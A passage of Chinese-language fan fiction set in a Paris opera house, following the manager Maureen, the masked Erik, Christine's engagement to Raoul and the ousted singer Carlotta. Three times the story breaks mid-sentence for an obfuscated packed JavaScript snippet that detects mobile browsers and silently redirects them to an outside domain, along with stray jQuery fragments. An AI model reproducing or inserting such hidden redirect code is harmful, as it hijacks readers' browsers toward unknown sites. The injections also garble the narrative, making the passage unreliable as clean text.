他本来没想这么直白地说出这番话的。他以为为他的话做好铺垫是莫琳应该的，没想到这女孩这么没有察言观色的本事。 他始终用一种怜悯的眼神看着莫琳，好像那已经是自己所能给予她最丰厚的待遇。 对于他而言，莫琳的出现可能的确只是一场利益交换。 莫琳看上去在巴黎除了莱斯曼以外举目无亲，她既然换做了莱斯曼的姓氏，就证明彻底失去了依仗坎贝尔家族的可能性。她一个死了母亲的年轻贵族女孩，大胆地接手了日渐落败的巴黎歌剧院，即使竭力地在外奔走以求周转，却不见得真的有能力支撑起来。 莫里斯认为，一位有身份地位的丈夫，一个能体面地挡在她面前的男人，这才是莫琳眼下最需要的。 “合适的丈夫？”莫琳搜刮了一番自己在巴黎所能接触到的人选，脑海里里蹦出来一个名字。 ——昆西·德·莱斯曼。 “除了他，我似乎想不到更好的人选。” 莫里斯哐当一声放下酒杯，怒意有些上脸。 对莫琳来说，昆西毫无疑问会是各种权衡利弊下最好的人选，那是他唯一的继承者。 如果昆西成为她的丈夫，那么莫琳就会成为真正的莱斯曼。在现在，在她况且是作为“外嫁女”的血脉的身份，她就懂得利用莱斯曼的名头为自己的生意造势了，如果更甚...... 那么她会将莱斯曼的价值利用得一干二净的。 莫里斯一点儿也不想让自己儿子去搅动这滩歌剧院的浑水，在他看来，那是个投进去多少里弗尔也不会翻起水花的销金窟。 “你们是表兄妹，”他僵着脸说。 他想起自己来这儿的目的，找补道：“下个周日，和我的小女儿阿梅莉一起参加晚宴，如何？就在圣奥诺雷路的罗什舒亚尔府邸。这将是她第一次参加社交舞会，如果能有你的陪伴，我想她一定非常高兴。” 他把一份请帖放在莫琳面前。 很可惜的是，多年未见，他一点儿长进也没有。 莫琳沉默了。她微微低着头，垂落的发丝挡住了她的面孔，叫人看不清她面上的表情。就在莫里斯以为她正谨慎考虑这场几乎无人会拒绝的邀约时，莫琳在将面前的勃艮第一饮而尽后站了起来。 她用饱含遗憾的口吻回绝了他的提议： “既然昆西表哥不能成为我的丈夫，那么我暂时还没有什么理想的结婚人选。还是希望我们美丽的阿梅莉小姐能享受那场宴会吧。 “我相信您一定会为她挑选到满意的丈夫。” 莫里斯摇了摇头，认为这是女孩倔强的自尊心作祟。 “当然，她会的。”莫里斯说。 他在心里嘲讽她。 这样好的机会，如果不是莱斯曼，她不可能再得到同等级别的邀约。不要说罗什舒亚尔，巴黎哪一位有头有脸的贵族会选择歌剧院里抛头露面的女经理来作为自己的妻子？即使她姓莱斯曼。 可他却不知道，在莫琳眼中，他所错过的也是相同的。 这是莫琳给他的最后一次机会，莫里斯错过了。 半个小时后，五号包厢。 埃里克刚打开包厢门，就看见女人神态轻松地抱着双臂半倚在门旁。剧院里澄亮的光线将她的脸庞照得圆润而温和，像极了剧院门口那尊臂膀半张的圣女塑像。带着与她自身气度极致不符的，犹如上神般的高贵。 “是场愉快的交易吗，幽灵先生？” 莫琳摘下挡住自己脸庞的宽边黑色檐帽，笑盈盈地看向埃里克。 她早就瞥见门后边那个不省人事的身影了。看来莫里斯果然还是没能与这个幽灵相互抗衡，是她原先高估他了。这也让莫琳突然产生了些劫后余生的庆幸——还好自己听了他的指示，既然连莱斯曼家的现任掌权者都难以从他的计划中脱身，那么又况论她呢。 埃里克眼神复杂地看她一眼。 他差点被她原先那几句求情的哀告给骗了，这两人之间根本不存在什么家族亲情，而是都想着用对方来做利益交换。瞧瞧她现在的表情，如果说那不是得逞的笑容又会有谁相信。 “是的，你做的很好。”埃里克重新戴好手套，反手将包厢门轻轻带上，“不久就会有人发现他，你将人送回去，他不会再记得这里发生过的事。” “不会记得？这是什么意思？”莫琳脸上的笑容消失了。 按他的话来说，莫里斯并没有受到和自己一样的胁迫，而只是单纯遭遇了一场意外的短暂失忆而已。这根本无伤大碍。 “别表现得那么迫切，莱斯曼小姐。你难道希望莱斯曼先生遭受不幸的迫害吗？我不会那么对待他的，就算是看在你的面子上。” “我不知道我在你这儿还有面子这回事”，莫琳冷冷地回望他。 对方显然很清楚她和莱斯曼家族的关系，却依旧对于他们两个展现出了天差地别的待遇。看来即使是幽灵也逃不过攀炎附势的本性，莫琳没有动作，心里却恨不得将绳索塞到面前这人的手上，将他拉到莱斯曼的面前质问他究竟为什么不动手。 “弄了半天，原来受害者只有我？”莫琳逼近埃里克所在的位置，“我该不会有那么大的荣幸，成为你首次下手的目标吧？” 她总是有这样的本事，在魔鬼面前依旧能够恶习不改，将他用以杀戮的镰刀反向逼至自己的脖颈前面。 埃里克在这点上十分佩服她，也正因如此才喜欢与她这样的人做交易。在他们这样的群体里，有不少人沉溺于观看弱者的挣扎，并从中衍生出享受的饱腹感，而他不属于这一类别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018821|162159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，他更爱争锋相对，甚至刀尖调换的刺激感。这让他忘记自己与他人的不同，忘记那些怜悯恐惧的眼神，忘记自己可怖的面貌。 他当然不会回答莫琳的问题。 埃里克举起手，轻松地说：“那并不是我的本意。莱斯曼小姐，如果你还记得的话，是你主动闯进那间密室的。我们之间原本也可以和平相处。” “你别以为我是什么任人拿捏的...”， 莫琳的眼神逐渐变得凶狠起来，她很少在人前露出这样的表情，除非对方真的惹怒了她。 “如果你继续像现在这样羞辱式地利用我，我不保证不会拉着你一起跳下去。当我不再顾惜性命的时候，也并非没有能力杀了你。” 在任何一个人听来，这番话都是杀意汹涌的威胁。哪怕是经验丰富的刽子手，也很难说会不会因为羔羊濒死前的全力反扑而略有退缩。更何况莫琳不是柔弱的羔羊， 埃里克的目光变得炽热，莫琳的话使他有些兴奋起来。 莫琳还是错估了他，作为埃里克的每寸血肉，都不是在正常伦常纲理和道德三观下所塑造出来的，你要是用常人的角度去看待他，将彻底激发他的试验欲与好奇心。 他没有在正常的世界生活过，也没有与人平等接触的经验，你一但伸出自己温室内存活的触角，就不可避免地被魔鬼附身作初探人世的试验品。 他很想捏住眼前这个女人的脸，尝一尝她肌肤上的体温是否真的比自己要高上几度，他想知道她会怎么杀了自己，他想知道她会从哪一个角度刺开他的血管，血液流出的时候，她的眼神又是否会变得更加炙热。 理智最终还是使他压住了自己的颤栗，埃里克垂下眼睑，睫毛隔着冷硬的面具簌簌颤抖，说：“我一直很好奇，究竟是什么样的人能将你抚养成现在的样子”。 “莱斯曼是个有趣的家族，我相信我们会得到令彼此都满意的利益的。” 莫琳沉默一瞬，问：“如果你能杀了莫里斯，让我当上莱斯曼的掌权人，岂不是对你更有利？” “你能够直接控制我，省去莫里斯这个麻烦的中间人。我对莱斯曼毫无感情，会配合你做一切事情。” 埃里克确认她是在说笑话。可她的表情又让他觉得她似乎是真的想这么做。 抛开他会不会杀了莫里斯这件事不谈，即使莫里斯死了，权力依旧会传递到他的子女手上，昆西就是挡在莫琳面前最名正言顺的阻碍，她不可能有这个机会。 他偏了偏脑袋，似乎在思考她说这番话的意义究竟在哪。 “提个建议而已，不必当真”，莫琳耸了耸肩。 她有时候真觉得埃里克是种针对她所存在的诱导剂，他总能适时将她骨子里所有的恶都激发出来。她能感受到自己血液里的贪欲、暴虐都像是闻到春天的风那样野草一般地复苏过来，如果不是她所处的位置，如果她的运气再差一些，说不定她也会成为埃里克那样的魔鬼。 她方才的气焰被他话里的冷水泼上了两泼，早就逐渐熄成了火星子。可她既然都站在这儿了，就不能再轻易地放他离开。莫琳问： “我什么时候能够拿到最后的解药？我已经替你做了不少事了。” “不必着急，莱斯曼小姐。”埃里克恢复了他漫不经心的语调。 “这种药物的制作极为精妙复杂，原料更是罕见，你应该珍惜它留存在你身体里的时间才对。” “越珍贵的东西，越要物尽其用不是吗？” 莫琳注意到，这个幽灵越来越爱说废话了。 他好像将和她交流这件事变成了闲暇中一种有趣的消遣行为，这可不是她想要的。 她面无表情地走到埃里克旁边，使劲踹了昏迷中的莫里斯一脚，然后让开了道： “你该走了。” 18. 名誉双收 那场首演的顺利程度远远超过莫琳的预期。 她知道这绝大部分必须归功于埃里克的临时“替场”，可这绝不可能是长久之计。他只是为了保障克莉丝汀作为女高音的首演获得出色的反响，不会永远留在台上替莫琳打工。 观众的吹捧是无法被减缓熄灭的，莫琳唯一能做的就是尽量减弱埃里克的存在感。 她选择趁这个机会将克莉丝汀推了出去，将她竭力包装成巴黎最火热的新星，用月亮的光芒来掩盖太阳。 可是日月注定难以争辉。 时隔两个月，科尔再次来到了莫琳的办公室。 他注意到这间办公室有了些鲜活的变化。椅背上挂着女人的羊毛毯，桌上小盒里积起棉絮一般的烟灰，还有厚厚摞起，几乎铺满半个桌面的账单。 “好久不见，莱斯曼小姐。”他摘下自己的帽子，背着手朝莫琳行了个绅士礼。 “请坐”。 莫琳从繁杂的工作中抬起头，她还是习惯在外人面前端着那副高高在上的架子，脸上却难得地露出几分疲惫。 他来得不太算是时候，她正忙着解决克莉丝汀那群有些疯狂的新观众们。他们的要求实在太多，甚至有一些稀奇古怪的，比如这位女士在来信上写：希望克莉丝汀能够穿上她祖母那辈留下来的的礼裙演出。 作为记者，科尔敏锐地察觉到了现在的氛围。 他们两个的位置对调了。 两个月前，是莫琳有求于他，她希望他能帮助剧院打响新剧目的名声，而现在，是他为了恳求一些独家新闻而主动找上门来的。 他开始有些庆幸自己来前做了准备。 科尔将自己身后的人推到莫琳的视线范围内，颇为自豪地说：“请容许我为您介绍，莱斯曼小姐，这是我们晨报的摄影师卡维先生。除了我们以外，还没有哪家报纸有这样的殊荣！” 那名叫做卡维的男人留着胡子，怀里捧了个并不令人眼熟的古怪玩意儿。 科尔有些激动，他将卡维手里的古怪玩意儿偏了偏角度。以便于更好地展示在莫琳面前： “感谢涅普斯先生的慷慨，这台照相机正是他赠予《晨报》使用的。我敢说，全巴黎，哦不，全世界您都找不出第二台来了。” 莫琳觉得有点有趣。科尔的动作让她觉得那位卡维先生只不过是个用来展示商品的架子而已。 不过在这之前，她的确没见过类似的东西。在英国的时候，她只隐约听说过有人想利用暗箱和感光材料来记录场景，不过却并没有被实际制造出来。 “已经能做到成像的地步了吗？”莫琳感兴趣地问。 她放下了手中的羽毛笔，这意味着这场谈话开始有了实质性的进展。 “当然”，科尔将一片纸递给她，那是从前几日发行的《晨报》上边裁剪下来的。 “虽然目前还不是非常清晰，但我们持续在做技术改进”，卡维补充道。 莫琳接过那片纸，上面印着两行巴黎当地警察署的通缉告示，还附上了一张朴素的脸。 的确不够清晰。 她只能看出那个人长着两个眼睛一张嘴，是个丢进人群中就会和周围人融为一体的朴素样貌，并不能看出他的脸颊上是否有雀斑，头发又是否过耳这样的细节。对于抓捕潜逃犯人来说，这恐怕无法起到什么有效的帮助。 卡维读懂了她脸上的表情，对身旁的科尔摆出一副果然如此的样子。他就知道这些歌剧院的人只在乎他们能不能帮助自己的演员向外界表达出最大的吸引性。 “莱斯曼小姐，我们非常希望能与您合作”，科尔略过自己同事的示意，向莫琳慷慨地表达出自己的赞美： “我不得不说这场首演实在是太完美了！戴伊小姐！我从没聆听过那么动人的歌声。她的面孔的天使一样美丽！” “不过即使是在戴伊小姐的光环下，我也不得不提一提那位男低音，出色的表现，我几乎都被他迷住了。可惜的是当天的服装，大家没能看到他长什么样子。在我看来，这样优秀的演员理应被观众们熟知。如果您能让我们为他照相，并发表独家专访，歌剧院毫无疑问会名声大噪的！” 首演那日，科尔也坐在观众席上。 他的位置不算太好，但精妙的角度却使得他在演员走动间瞥见了那位男低音的面容 ——利落的下颚角，刀刻般的鼻梁，虽然他没能瞧见他那双眼睛，但他也有九成的信心肯定，这绝对是位难得的英俊人物。 他苦思冥想也不明白莫琳为什么要将他藏起来。 剧目开场前的那位男演员一定不是他，那张脸不可能拥有这样瑰丽的歌喉。 首演当日的贵妇们早已被他的声音迷得神魂颠倒，科尔毫不怀疑，她们看见这张脸后该会变得怎样疯狂。巴黎即将出现一位现象级的新星，而这是由《晨报》促成的。想想就令人热血沸腾。 如果他们能成为第一家刊登出他容貌的报社，那么他的升职将是指日可待的事情。 莫琳礼貌地笑了笑，她对于他激情澎湃的演讲没有给予太高的热情。 她觉得那张被剪裁下的《晨报》实在不是件合适的展示品。那可是一个逃犯，要怎么和她歌剧院里炙手可热的男首席相互比较。但她同时又觉得这事十分有意思，如果科尔不是像他所表现出来的那么浅薄，她甚至会怀疑他已经勘破了埃里克的伪装。 但这种可能性很快被她给排除了，很显然，这位年轻的记者只是因为想要抢夺先机而表现得有些急功近利而已。 “我以为你们会对戴伊小姐更感兴趣，她可是位美人”，莫琳岔开话题，她早在他们两位来之前就做好了打算：“神秘的人只有与观众保持距离才会维持他的价值。” 见她就要婉拒，科尔急切地解释道： “是这样的，事实上，我们希望能两位同时进行采访，合照的形式怎么样？即使让那位先生穿着演出用的服装也可以，只要稍微能露出半张脸就行 .....” “那太贪心了”，莫琳截断了他的话。 两人犹如被当头泼了盆冷水，表情僵在了脸上。 莫琳说：“我是个知恩图报的人，所以首演过后的专访一定是属于《晨报》的，但仅限于戴伊小姐。你们想怎么拍都行，一张照片，半个小时的采访，我相信这很合理。” 科尔这次没话说了。 莱斯曼小姐已经将话说到了这个份上，继续强求就是他不要脸皮了。看来她是决定了要将那位男低音压作底牌。 这对生意人来说是常见的计策，他们没有立场干预。不过只要确保这是专访就行，戴伊小姐也能引发足够的话题，他不愁没东西交差。 两人离开后，埃里克从莫琳办公室的隔间内走了出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018822|162159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 他有一搭没一搭地拨弄着打火机的盖子，表情说不出是愉悦还是不满。而他手上有些钝涩的动作却完全出卖了他，这家伙完全是在因为莫琳刚才将克莉丝汀推给记者的行为迟疑。 “你最近出现得太频繁了”，莫琳边整理那些信件边说：“这不符合幽灵的作风。如果被剧院的员工发现，会引发恐慌”，她连头也没抬，似乎早就察觉了他的存在。 埃里克没回答，他走近几步，从桌上拿起科尔刚才带来的那篇通缉令翻看。 “你从什么地方回来？”莫琳忽然问。 就在刚才，在埃里克的衣角发生晃动的时候，她从他的身上闻到了一股淡淡的血腥味儿。 她很确定那不是什么动物的血液。 埃里克平静地说：“演出才结束半个小时，你觉得我能去哪里？”。 莫琳不答。 “市政厅”，他将报纸压在莫琳的茶杯底下。 不知道从什么时候开始，他有些习惯了回答她这些过于直接，甚至可以说是冒犯的问题。 还没来得及等莫琳反应过来，他又继续说：“我可不觉得我会引发什么恐慌，你看，连你这样的贵族小姐都能够对我的出现孰若无睹，更何况那些男人。” “你现在真是一点儿也不怕我了，莱斯曼”，他盖棺定论道。 “市政厅！这可真够...”意识到自己嘴里即将蹦出来的危险言论后，莫琳及地时闭上嘴，认为自己最好还是避开这个话题，她可不想某天被警察署的人当作共犯进行调查。至于埃里克，他做出任何事情来都算不上出格。 “我有时候真弄不明白你，你想要的究竟是什么？”莫琳问。 “什么？” “别和我装傻，你难道打算留这么个烂摊子给我收拾吗？现在就已经有记者找上门来，那么下场演出该怎么办？我不可能每次都用克莉丝汀来糊弄他们。” “就说他消失了，或者死了，什么都行，”埃里克满不在乎地解开外套，在办公室角落的躺椅上坐下来，说：“克莉丝汀的名声已经足够支撑起后面的剧目了。” “死了？你以为警察署的人是吃干饭的吗？我要怎么和他们解释一个从不存在的人？” “那是你的事。” “你这样究竟是在帮她还是害她？” 这次埃里克没有立即回答，莫琳的话和他刚才的迟疑对上了。在听过那几个记者的提议后，他有那么几秒钟开始反思自己究竟是否做了正确的选择。 外界的反应不完全在他的意料中。 他原以为克莉丝汀的出色表现能够淡化自己的存在。在他的设想里，她才应该是那颗星星，美丽的歌者，怎么也要比丑陋的野兽来得引人注目。 可他忘了自己的歌喉是那样的举世罕见，但凡入过一次耳便再也难以忘怀。 他对克莉丝汀的爱太过于盲目，以至于全然忘了他人会拥有一颗怎样的公正的心。 “她会......” 埃里克的话还没说完，就被突兀的开门声给打断了。 “经理，出事了！”，梅格很少不经许可就闯进莫琳的办公室，此刻却连敲门的步骤也省去了。她焦急地站在外边，说：“记者们撞见了克莉丝汀和子爵 ......”。 她没有将话说完整，但在场的人都知道这意味着什么。 19. 选择 莫琳下意识去看埃里克，却发现对方已经没了踪影。 候场区， ——年轻俊朗的子爵手里举着一枚宝石戒指，她们的新晋女高音则红着眼眶，用手捂着嘴。卡维先生手里的古怪玩意儿恨不得直贴到二人脸上去。科尔惊讶得合不拢嘴，却还不忘在自己随身携带的本子上奋笔疾书地记录下素材。 等莫琳和梅格赶到的时候，她们看见的就是这么一番场景。 莫琳拧了拧眉毛，事情的发展完完全全地超出了她的预期。 他们年轻的子爵不知道是受了什么刺激，竟然在这么突兀的时间点做出了这个决定，就在女孩名声大噪之后。 他获得了父母的首肯来迎娶一位出身歌剧院的女孩吗？还是他们本来就打算离开？ 她不敢细想。 这枚戒指所带来的将会是一系列的灾难性后果。她的歌剧院即将失去一位冉冉升起的新星，而那个恶魔呢？他又能够忍受被人夺走自己的“所有物”吗？ 梅格站在莫琳身边，隔着人群望着克莉丝汀金色的卷发。 既然女经理没有上去阻止，那么大概也是对现在的场面乐见其成的。又或者她根本没有足够的力量去介入。那是贵族的婚约，为那枚戒指镀上金边的并非上面镶嵌的宝石，而是权利。 她们曾经共同在一张小床上畅想过未来，卧室天窗上那方小小的天空里曾经承载了她们缤纷的梦，她曾羡慕她，她也曾羡慕过她。可自从母亲离开后，她们也逐渐与彼此远去了。 她站到了这位女经理的身边，而她走向了婚姻的美梦。 克莉丝汀会拒绝吗？ 在场没有人设想过这个可能性。 一个幼年失孤的平民女孩，一个家名显赫的贵族青年。而他此刻正跪在她面前，权力者伏低，企图将女孩托举上云端美梦。 克莉丝汀没有选择。 她扑到了子爵的怀里，眼眶中含着泪。 那枚戒指突兀地横膈在两人的怀抱中，举也不是，放也不是。 “谢谢你，劳尔。”克莉丝汀低声说。 卡维先生眼疾手快地按下拍摄键，将这动人的一幕封存在了机器里。明天早上，这将和克莉丝汀的专访一起出现在《晨报》最显眼的版面上。 “恭喜你们。” 莫琳神情复杂地看着克莉丝汀纤细的无名指，那枚宝石戒指最终还是压在了上面： “那么你们下一步的打算是是什么？请两位理解，我得提前为其他人做好安排”。 她有些认命地说出这句话，紧接着发愁地撑住了额角。男主角才刚刚要求她对外宣布自己的死亡消息，转眼女主角就被人撬了墙角。 她苦心筹划的新剧目该怎么继续下去是摆在眼前的巨大难题。 -——“我还是会留在剧院里。” ——“克莉丝汀会和我去北方。”两个人一同开口。 莫琳诧异地挑了挑眉，这两个人显然还没有达成统一的意见。 克莉丝汀挣脱出自己被紧握的手，说：“什么？” “我们不是说好了吗？”劳尔以为他们已经在很久以前就达成了共识：“你离开歌剧院，我会让你在北方过上最幸福的日子。” “我从没这么说过！”，克莉丝汀的脸一下涨红了，她激动地站起了身， 莫琳敏锐地察觉到，此时此刻，那个幽灵就在她的办公室里。 他或许站着，或许坐下来，或许手上拿着他的套索，或许紧抿着唇，那双摄人的眼睛里燃烧着疯狂的火焰。他是来听那个答案的。 如果克莉丝汀愿意留下来，不管是不是为了他，也许他都会再次动摇参演剧目的决定。 “我的意思是，我的意思是这件事情我们能够好好处理的，如果我走了，歌剧院要怎么办。我想我们需要一点时间来处理这件事情，得有人接替我的位置，那不是那么容易的事情 ......”， 克莉丝汀说。她始终紧盯着莫琳，想让她站出来说两句。 克莉丝汀很清楚，卡洛塔夫人已经离开，自己目前是歌剧院唯一的选择，她还不想就这么放弃这个来之不易的位置。 自己作为女高音的首演才刚刚结束，名声才刚刚落到观众的耳朵里，所有的一切都在走上坡路，她不能就这么迎来一个戛然而止的结局。 莫琳刚想应和，就看见子爵目光炯炯地盯着她。 她思考片刻，耸了耸肩，婉转地说： “很遗憾，根据我们之间的条约，你得配合剧院结束剩下几场新剧目演完，除此之外，恐怕还得赔付给歌剧院一大笔钱。” 听到她的话，克莉丝汀的情绪终于高起来。她漂亮的眼睛亮了亮。对，违约金，还有这笔高额的违约金挡在自己离开的脚步前面。 她才成为首席不久，微薄的工资远不足以负担那笔高昂的违约金。如果想要离开，她起码还得留在歌剧院三年以上的时间，才能够勉强有能力来偿还这笔债务。 只不过她很快就发现女经理这话似乎并不是对自己说的。就在她独自浮想联翩的时候，她发觉女经理目光投向的地方不是自己，而是劳尔的位置。她顺着莫琳的视线看过去，果然看到了劳尔坦然的表情。 她浑身瑟缩了一下，意识到一件事。 女经理和劳尔恐怕已经达成了共识。 自己身边的这两个人，克莉丝汀惊恐地发现，不知道什么时候，他们竟然已经开始越过自己相互温和谦让地讨论着后续的安排，就像是刚刚达成了什么愉快的交易。 “完成剩下的演出，当然，这没有问题”，劳尔的兴致很高昂，“我们还得安排马车和佣人，不会那么快离开。克莉丝汀也得和她的朋友们告别。” “至于违约金，我会付给剧院双倍的违约金......还有后续的剧院赞助，我以乌拉尔的名誉保证，绝不会让歌剧院因为克莉丝汀的离开而蒙受任何损失”，劳尔信誓旦旦地说。 “如果方便，我还指望从莱斯曼小姐手里提前拿到后续演出的几张票呢，我可不能缺席自己未婚妻子的登台。” 莫琳朝他致以微笑。 她不能拒绝子爵的话，也没有理由拒绝。克莉丝汀注定要离开。她可能舍不得女首席的位置，可能舍不得那个幽灵，但她爱面前这个男人。 或许是不公平的，但爱和难舍从来不能被放在天平两端被秤量，即使后者的数量再多，也抵不上一场她爱他。 既然这样，自己不如从拉乌尔的身上多索取一些好处，给歌剧院留足后续转圜的余地。 而在克莉丝汀眼里，这间房间里明明坐着三个人，却只有两个才真正坐在了谈判桌上。 克莉丝汀忽然感觉自己成了透明的。 就在戴上那枚戒指的时候，她仿佛变成了劳尔身上的某个装饰品。 劳尔不在乎这点违约金，说实在的，她也不那么在乎，她在乎的是，一旦这笔钱从劳尔的账户里划到女经理的名下，她就会彻底成为他的附属品。 那朵刚刚绽放的歌剧院之花将失去她的姓名。 “你要和公众宣布我们订婚的消息，”，克莉丝汀的肩膀塌了下来，妥协似地说。 她甚至不再在乎那两个人有没有听见自己说的话了，只是自顾自地说下去： “我得见你的家人，起码，起码让我见见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018823|162159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你的叔叔。吉里夫人一直照顾我，如果你愿意，那么就当作是我的家人去拜访她。” 莫琳看向克莉丝汀空荡荡的身后。 她本以为那个幽灵会出现的，或者说，不管用任何方式，在某个时间点打断他们的这场谈话。他本应该这么做的。 但是没有。 莫琳不知道是自己的劝诫起了作用，还是克莉丝汀的举动彻底伤了他的心，总而言之，一直到那对“新人”挽着胳膊走出她的办公室，莫琳也没瞧见那个熟悉的影子。 他不知道什么时候走了，也许是回到他那个老鼠洞里去了，莫琳想。 他这下大概是被克莉丝汀伤透了，估计很长一段时间都没兴趣来找她的麻烦。 不过毒药还没彻底解，如果他还能有那么一点信誉的话，就应该在什么地方悄悄留下来。 之后不管是什么事，她向上帝发誓，她都不会管了。 事实上克莉丝汀猜的没有错。 多亏了科尔和卡维先生的相机，隔日的《晨报》几乎卖断了货，克莉丝汀和子爵那个举世瞩目的拥抱被所有巴黎人在早餐时光里被传阅，和黄油一起作为佐餐面包的调料。 “早上好先生，要来份晨报吗？有歌剧院女高音和拉乌尔子爵订婚的最新消息！”，报童积极地靠近几位戴着高礼帽的过路人，向他们抖了抖手里的报纸头版，露出一个还带着新鲜油墨味儿的加粗标题： 《拉乌尔子爵，歌剧院之花的新生》 不得不说，科尔真是个起名的天才。他的话题总能在第一时间抓住人心。 一位戴着宽檐帽的丰腴女士扭着腰走过来。她毫不客气地挤开那两位绅士，朝报童扔下几张纸币，拿走了他刚才举起的报纸和一盒烟。 “哦，谢谢您，女士”，她檐帽下的半张脸很是令人眼熟，报童愣了会儿才反应过来。 只是还不等他将话说完，对方就快步地拐进了隔壁的巷子里。 她在无人处死死地盯着那个标题，捏着报纸的手忍不住地颤抖起来。 如果说科尔和他的报社是拉乌尔子爵与克莉丝汀订婚消息的最大得益人，那么第二快乐的恐怕就是我们久未露面的卡洛塔夫人了。 “那个外姓的莱斯曼”，卡洛塔摘掉宽檐帽，忿恨地抚摸了几下自己迅速黯淡的发丝。 这几个月她过得很不好，失去工作以后，从前的拥护者们散去大半，她不得不变卖自己昂贵的大衣和首饰来勉强支付房租。 从云端跌落泥地的滋味可不好受，她因为焦虑和妒恨，导致原本饱满光滑肌肤迅速失水干瘪，连向来引以为豪的长发也变得干枯。 不过这样的日子马上就要过去了。卡洛塔对着《晨报》上的合照露出一个讥讽的笑容，自言自语道： “等着吧，那个女人马上就要哭着求到我面前来了！” 虽然她并不愿意见到那个取代自己的年轻女孩那么快就攀附上了高枝，但她更在意的却是那个将自己踢落到泥潭里的女经理。 克莉丝汀成了子爵的未婚妻，不会再登台演出。翻遍整个巴黎，除了自己。在这么短的时间内，她还能找到谁来担任剧院新的女高音？ 回到公寓的时候，楼下的门童见她难得的好心情，搭话道： “夫人，今天有什么好消息吗？” 听到这话，卡洛塔嘴角的弧度更深。却不直接回答，而是将烟扔给他，转弯抹角地说： “这几天大概有许多人要来拜访，你可要把门看好了，不要随随便便将让人进来，影响其他邻居。将名字列下来，让她们等着就行了。” “尤其是，歌剧院的那位，莱斯曼小姐。” 20. 生意 而那个在五号包厢惨遭横祸的倒霉蛋莱斯曼先生，此刻已经回到了他宽阔的四柱床上。 “她究竟对我做了什么？！” 家庭医生走后，莱斯曼痛苦地捂住脑袋。 他只能记起隐约记起对莫琳的邀约，罗什舒亚尔家的晚宴，却不知道自己最后是怎么从剧院里离开的。 这种失去掌控自己的感受令人烦躁，更令他感到危险的逼近。他迫切地想要知道在那段空白的记忆中，自己和莫琳说了什么，她又是否对自己做了什么。 他的大儿子，昆西，就站在房间门外。 家庭医生出来的时候没有忘记将门带上，厚重的橡木门吞没了里面传来的噪音。还有因愤怒而陆续被砸落的餐盘和烛台的声音。 医生冲昆西点点头，宽慰他： “莱斯曼先生的身体状况非常健康，我想我只能用昨天晚上过量的勃艮第来解释他记忆缺失的现象。你们不必过于担心。” 昆西看了一眼那扇紧闭的门，什么话也没有说。 他让佣人拿了双倍的诊金付给医生，并给他雇好了马车。楼上的女佣又忙碌了起来，忙活着要替莱斯曼先生洗手擦脸，还要收拾刚刚因他情绪而导致的狼藉。一切都发生得平静有序。 可昆西知道并不是这样的，这一切也不会这么轻易地被揭过。在昨晚的首演过程中，一定有什么事情发生了。 昨天夜里，整个莱斯曼的府邸无人入眠。因为这座房子的主人失踪了。 首演结束，散场后半个小时，昆西迟迟没有等到与他同行的父亲。他原先以为大概是留下和自己的那位表妹寒暄耽误了时间，却在门厅看到了独自和几位观演者辞别的莫琳。 “请问是否有人看到了莱斯曼先生？” 他意识到情势不对，不管不顾地冲上去，突兀地打断了他们的谈话。 莫琳侧过身，对着宾客们的笑容还没来得及消散。 “莱斯曼先生？抱歉，我没见到他。” “或许是莱斯曼先生忘了等你，”莫琳解释说：“听说他一个人在包厢享用了不少勃艮第，可能现在已经......有些神智不清了。” 昆西的目光变得奇怪。据自己对父亲的了解，他生性谨慎，为了防止言辞不当鲜少会在外面饮酒，更不要提饮酒过量了。 “勃艮第？”他问。 莫琳坦荡地看着他，突然想起莫里斯在谈话中因自己提及昆西而薄怒的面孔，忍不住说： “按理来说我应该喊你一声表哥。不过原谅我现在不太喜欢这个称呼，要知道，莱斯曼先生刚刚才因为这个而拒绝了我想让你成为未来丈夫的请求。” 男人的耳朵红了。 显而易见的，莫琳的话让他的注意力从自己父亲失踪的事上彻底转移了开来。没人会在美人直白的表白面前感到不心动，尤其这是个举世罕见，名声远扬的美人。 她刚才说什么？让自己成为她的丈夫？ 昆西的大脑一片混沌，他直觉自己的嘴巴跟不上思考的速度了。 “哦！我很抱歉...不，请您不要往心里去。父亲可能，可能是出于别的考虑。” 这位年轻人有些语无伦次了。 他微垂下头，不敢直视莫琳的眼睛。 歌剧院的地砖真是漂亮，如果她喜欢的话，将来他们的庄园里或许也可以用上。 昆西忍不住浮想联翩，而就他呆滞的片刻，那个扰乱人心弦的美人却已经离开了。 昆西失魂丧魄地坐上回去的马车。这个耿直的孩子竟然真的将莫琳的话听了进去，开始忍不住思索起她话中的意思来。 “她那是告白吗？”“怎么会有女孩主动选择自己的丈夫？” 